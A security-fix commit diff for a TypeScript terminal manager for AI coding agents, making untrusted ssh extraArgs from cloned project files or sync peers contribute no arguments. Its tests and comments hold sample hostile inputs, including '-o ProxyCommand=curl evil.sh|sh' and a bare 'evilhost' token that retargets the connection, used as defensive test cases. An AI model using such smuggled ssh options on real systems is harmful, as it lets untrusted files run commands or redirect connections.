Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.
TypeScript adhdagent-orchestrationai-agentscanvasclaude-codecodexcoding-agentsdeveloper-toolselectrongeminilinuxmacosmultiplexeropencodeparallel-agentsterminalterminal-emulatorterminal-multiplexertmuxworkspace-manager
fix(security): an untrusted ssh extraArgs contributes no tokens at all
enes9de0f66b3ba3
diff --git a/src/shared/ssh.test.ts b/src/shared/ssh.test.tsindex bcf72b3d0..52cbc2e1c 100644--- a/src/shared/ssh.test.ts+++ b/src/shared/ssh.test.ts@@ -79,9 +79,9 @@ describe('buildSshArgs', () => {).toEqual(['-p', '2222', '-i', '/keys/id_ed25519', 'u@h'])})- it('extra args are tokenized and inserted before the target', () => {+ it('TRUSTED extra args are tokenized and inserted before the target', () => {expect(- buildSshArgs({ host: 'h', user: 'u', extraArgs: '-A -o ServerAliveInterval=30' })+ buildSshArgs({ host: 'h', user: 'u', extraArgs: '-A -o ServerAliveInterval=30', execTrusted: true })).toEqual(['-p', '22', '-A', '-o', 'ServerAliveInterval=30', 'u@h'])})})@@ -265,19 +265,21 @@ describe('buildSshArgs exec guard', () => {).toEqual(['-p', '22', '-o', 'ProxyCommand=corp-proxy', '%h', 'u@h'])})- // Removing only the offending option out of `-o ProxyCommand=curl evil.sh|sh` would leave the- // orphaned `evil.sh|sh` in the argv — and ssh reads the first positional as the DESTINATION. An- // untrusted list that carries an exec-enabling option is therefore refused WHOLE.- it('degrades, never blocks — and leaves no shrapnel behind', () => {+ // An untrusted list contributes NOTHING, whether or not it carries an exec-enabling option.+ it('degrades, never blocks — and contributes no untrusted tokens', () => {expect(buildSshArgs({ ...base, port: 2222, extraArgs: '-A -o ProxyCommand=evil' })).toEqual(['-p', '2222', 'u@h'])expect(buildSshArgs({ ...base, extraArgs: '-o ProxyCommand=curl evil.sh|sh' })).toEqual(['-p', '22', 'u@h'])- // An untrusted list with nothing exec-enabling in it is still passed through.+ // Even with nothing exec-enabling in it, an untrusted list is dropped whole: `-A`/`-J` from a+ // document are unwanted, and a bare positional would be read by ssh as the destination.expect(buildSshArgs({ ...base, extraArgs: '-A -J jump.example' })).toEqual([- '-p', '22', '-A', '-J', 'jump.example', 'u@h'+ '-p', '22', 'u@h'])+ // A bare positional token: with no exec option it survives stripLocalExecArgs (dropped=[]), so+ // the OLD code passed it through and ssh took `evilhost` as the destination instead of u@h.+ expect(buildSshArgs({ ...base, extraArgs: 'evilhost' })).toEqual(['-p', '22', 'u@h'])})})diff --git a/src/shared/ssh.ts b/src/shared/ssh.tsindex 16859ad7a..25f114a6d 100644--- a/src/shared/ssh.ts+++ b/src/shared/ssh.ts@@ -161,9 +161,9 @@ export function sshHostKey(conn: Pick<SshConnection, 'host' | 'user'>): string {** `extraArgs` is spliced in verbatim ONLY when the connection is `execTrusted` — i.e. the value* came from this machine (the user's SSH server store, or the machine-local workspace index). Any- * other value has its exec-enabling options removed first: a `.nodeterm/project.json` from a cloned- * repo, or a canvas-sync peer's node, must never be able to hand `/bin/sh` a command through- * `-o ProxyCommand=…`. The connection is still attempted — degrade, never block.+ * other value contributes NOTHING: a `.nodeterm/project.json` from a cloned repo, or a canvas-sync+ * peer's node, must never be able to add ssh flags at all. The connection is still attempted —+ * degrade, never block.*/export function buildSshArgs(conn: SshConnection): string[] {const args = ['-p', String(conn.port ?? 22)]@@ -171,14 +171,15 @@ export function buildSshArgs(conn: SshConnection): string[] {const extra = parseExtraArgs(conn.extraArgs)if (conn.execTrusted) {args.push(...extra)- } else {- // Untrusted AND exec-enabling → the WHOLE list is refused, not just the offending option.- // Dropping `-o ProxyCommand=curl` out of `-o ProxyCommand=curl evil.sh|sh` would leave the- // orphaned `evil.sh|sh` behind, and ssh reads the first positional argument as the DESTINATION.- // Shrapnel is not a safe degrade; no extra args is.- const { args: safe, dropped } = stripLocalExecArgs(extra)- args.push(...(dropped.length ? [] : safe))}+ // else: an UNTRUSTED extraArgs contributes no tokens. `stripLocalExecArgs` removes the+ // exec-enabling OPTIONS, but the survivors are still not safe to splice: a bare token+ // (`evilhost`) has no exec option so it passes the strip with dropped=[], and ssh reads the+ // first positional argument as the DESTINATION — silently retargeting the connection. Flags like+ // `-A` (agent forwarding) or `-J` (jump host) from a document are unwanted too. An untrusted+ // source has no legitimate need to add ssh args (this branch isn't even reached today —+ // untrusted extraArgs is stripped upstream), so the empty list is the only safe degrade; there+ // is no residue to reason about token by token.args.push(`${conn.user}@${conn.host}`)return args}